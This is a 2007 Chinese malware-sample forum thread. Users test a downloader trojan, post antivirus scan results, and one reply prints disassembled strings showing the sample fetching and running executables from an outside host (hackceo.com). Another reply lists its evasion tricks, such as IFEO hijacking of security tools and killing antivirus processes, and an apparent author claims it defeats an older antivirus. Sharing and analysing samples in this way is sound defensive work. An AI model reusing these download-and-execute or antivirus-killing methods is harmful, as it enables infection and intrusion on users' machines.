下载者 54ab8c

显示全部楼层 · 发表于 2007-10-28 13:21:23

好像很牛没试过卡巴有装的试试

显示全部楼层 · 发表于 2007-10-28 13:31:51

执行了好多次，有趣的病毒，奇怪的是每执行一次IE就会自动转到MCAFEE的官网上去
试图对注册表里的多处地方进行很多很多不同的篡改，MCAFEE全部自动拦截了

显示全部楼层 · 发表于 2007-10-28 13:34:04

Start of the scan: 2007年10月28日  13:33

Starting the file scan:

Begin scan in 'C:\Documents and Settings\Administrator\桌面\AnHao.rar'
C:\Documents and Settings\Administrator\桌面\AnHao.rar
  [0] Archive type: RAR
  --> AnHao.exe
   [DETECTION] Is the Trojan horse TR/Crypt.FKM.Gen
   [INFO]    The file was moved to '476c1fa7.qua'!

End of the scan: 2007年10月28日  13:33
Used time: 00:04 min

显示全部楼层 · 发表于 2007-10-28 14:03:49

Win32:Agent-KNZ [Trj]

显示全部楼层 · 发表于 2007-10-28 14:36:47

我机子上的三个杀软件都挂了.

显示全部楼层 · 发表于 2007-10-28 15:44:09

00404691 push 004047A8                         ASCII "http://www.hackceo.com/ts.jif"
004046B0 push 0040479C                         ASCII "C:\a.exe"
004046B5 push 004047EC                         ASCII "open"
004046D0 push 004047F4                         ASCII "C:\b.exe"
004046D5 push 00404800                         ASCII "http://www.hackceo.com/ts.jpg"
004046EA push 004047F4                         ASCII "C:\b.exe"
004046EF push 004047EC                         ASCII "open"
0040470A push 00404844                         ASCII "C:\c.exe"
0040470F push 00404850                         ASCII "http://www.hackceo.com/ts.rar"
00404724 push 00404844                         ASCII "C:\c.exe"
00404729 push 004047EC                         ASCII "open"

谁去抓上来吧

应该是天使下载者

穿墙\IFEO劫持安全工具\关闭360个卡吧进程\反U盘免疫\U盘感染

其他的没发现

显示全部楼层 · 发表于 2007-10-28 16:43:22

呵呵刚发布就被报 ...

下载者只能用于测试里面有说明 ...

欢迎大家和我交流...

显示全部楼层 · 发表于 2007-10-28 16:43:59

微点已御载谁用微点安装下

显示全部楼层 · 发表于 2007-10-28 16:46:50

原帖由 Nblock 于 2007-10-28 16:43 发表
微点已御载谁用微点安装下

用关键字可以杀掉微点以前版本新版本没测试 ...

显示全部楼层 · 发表于 2007-10-28 17:03:41

DRWEB 4.44 Miss

[病毒样本] 下载者 54ab8c

本帖子中包含更多资源

本帖子中包含更多资源